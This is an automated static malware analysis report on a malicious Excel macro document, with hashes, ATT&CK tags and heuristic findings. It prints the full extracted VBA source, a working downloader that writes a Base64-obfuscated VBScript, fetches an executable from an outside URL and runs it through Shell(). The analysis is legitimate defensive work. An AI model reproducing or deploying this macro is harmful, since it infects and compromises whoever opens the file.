Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2964f02db8b86152…

MALICIOUS

Office (OOXML)

19.1 KB Created: 2020-06-13 08:08:44 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-07-10
MD5: 29b7c44d30309bde3bfeaef7bccfea63 SHA-1: 5396dab507250261de9988cbed666fa9488a62c7 SHA-256: 2964f02db8b861525f8267dc9ed9aa526c2c2556853231b210338227e9d2d5c8
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The VBA macro uses the Shell() function to execute a VBScript file named 'j.vbs' located at 'C:\Users\Mr.Teacher\Desktop\j.vbs'. This VBScript is constructed from multiple Base64 encoded strings, which when decoded, form the content of the VBScript. The VBScript then proceeds to write another file, 'a.vbs', to 'C:\Users\Mr.Teacher\Desktop\', and subsequently executes it using 'wscript'. Finally, it attempts to execute 'mal.exe' from 'C:\Users\Username\Desktop\'. The primary function of the VBA macro is to download and execute a second-stage payload via VBScript.

Heuristics 4

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5862 bytes
SHA-256: 34f16554e7a821911c44a756737e21510dc354dbfdfefc2e581e35af5e57fe4a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"

Private Sub ghd()
    Dim PayLoadFile As Integer
    Dim FilePath As String
     FilePath = bd("QzpcVXNlcnNcTXIuVGVhY2hlclxEZXNrdG9wXGoudmJz")
     PayLoadFile = FreeFile
     Open FilePath For Output As PayLoadFile
     Print #PayLoadFile, bd(bd("WkdsdElIZzZJRk5sZENCNElEMGdZM0psWVhSbGIySnFaV04wS0NKTmFXTnliM052Wm5RdVdFMU1TRlJVVUNJcA=="))
     Print #PayLoadFile, bd(bd("SUdScGJTQmlPaUJUWlhRZ1lpQTlJR055WldGMFpXOWlhbVZqZENnaVFXUnZaR0l1VTNSeVpXRnRJaWs9"))
     Print #PayLoadFile, bd(bd("SUhndVQzQmxiaUFpUjBWVUlpd2dJbWgwZEhCek9pOHZkM2QzTG1OaGNtUmliM2d1WTI5dEwyUnZkMjVzYjJGa0wzTmhiWEJzWlhNeExtVjRaU0lzSUVaaGJITmw="))
     Print #PayLoadFile, bd(bd("SUhndVUyVnVaQT09"))
     Print #PayLoadFile, bd(bd("SUhkcGRHZ2dZZz09"))
     Print #PayLoadFile, bd(bd("SUM1MGVYQmxJRDBnTVE9PQ=="))
     Print #PayLoadFile, bd(bd("SUM1dmNHVnU="))
     Print #PayLoadFile, bd(bd("SUM1M2NtbDBaU0I0TG5KbGMzQnZibk5sUW05a2VRPT0="))
     Print #PayLoadFile, bd(bd("SUM1dVlYWmdkRzliYVd4bElDSkRPbHhWYzdWOWMxeDhiV2x5UVdKaGMxeEVaWE5yZEc5d1hHMW9iQzVsZUdVaUxDQXk="))
     Print #PayLoadFile, bd(bd("SUdWdVpDQjNhWFJv"))
    Close PayLoadFile
    Shell bd("d3NjcmlwdCBDOlxVc2Vyc1xNci5UZWFjaGVyXERlc2t0b3Bcai52YnM=")
    Application.Wait (Now + TimeValue("0:00:03"))
    Shell bd("QzpcVXNlcnNcVXNlcm5hbWVcRGVza3RvcFxtYWwuZXhl")

End Sub

Function be(inData)

  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim cOut, sOut, I
  
  For I = 1 To Len(inData) Step 3
    Dim nGroup, pOut, sGroup
    
    nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
      &H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))
    
    nGroup = Oct(nGroup)
    
    nGroup = String(8 - Len(nGroup), "0") & nGroup
    
    pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
      Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)
    
    sOut = sOut + pOut

  Next
  Select Case Len(inData) Mod 3
    Case 1:
      sOut = Left(sOut, Len(sOut) - 2) + "=="
    Case 2:
      sOut = Left(sOut, Len(sOut) - 1) + "="
  End Select
  be = sOut
End Function

Function MyASC(OneChar)
  If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
End Function
Function bd(ByVal base64String)
  Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
  Dim dataLength, sOut, groupBegin
  
  base64String = Replace(base64String, vbCrLf, "")
  base64String = Replace(base64String, vbTab, "")
  base64String = Replace(base64String, " ", "")

  dataLength = Len(base64String)
  If dataLength Mod 4 <> 0 Then
    Err.Raise 1, "bd", "Bad Base64 string."
    Exit Function
  End If

  
  For groupBegin = 1 To dataLength Step 4
    Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
    numDataBytes = 3
    nGroup = 0

    For CharCounter = 0 To 3

      thisChar = Mid(base64String, groupBegin + CharCounter, 1)

      If thisChar = "=" Then
        numDataBytes = numDataBytes - 1
        thisData = 0
      Else
        thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
      End If
      If thisData = -1 Then
        Err.Raise 2, "bd", "Bad character In Base64 string."
        Exit Function
      End If

      nGroup = 64 * nGroup + thisData
    Next
    
    nGroup = Hex(nGroup)
    
    nGroup = String(6 - Len(nGroup), "0") & nGroup
    
    pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
      Chr(CByte("&H" & Mid(nGroup, 5, 2)))
    
    sOut = sOut & Left(pOut, numDataBytes)
  Next

  bd = sOut
End Function






Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 30208 bytes
SHA-256: d1edcb673dafdce94d6da8fd37ee5f2f90df0082dab2b6c109fb510591752e00
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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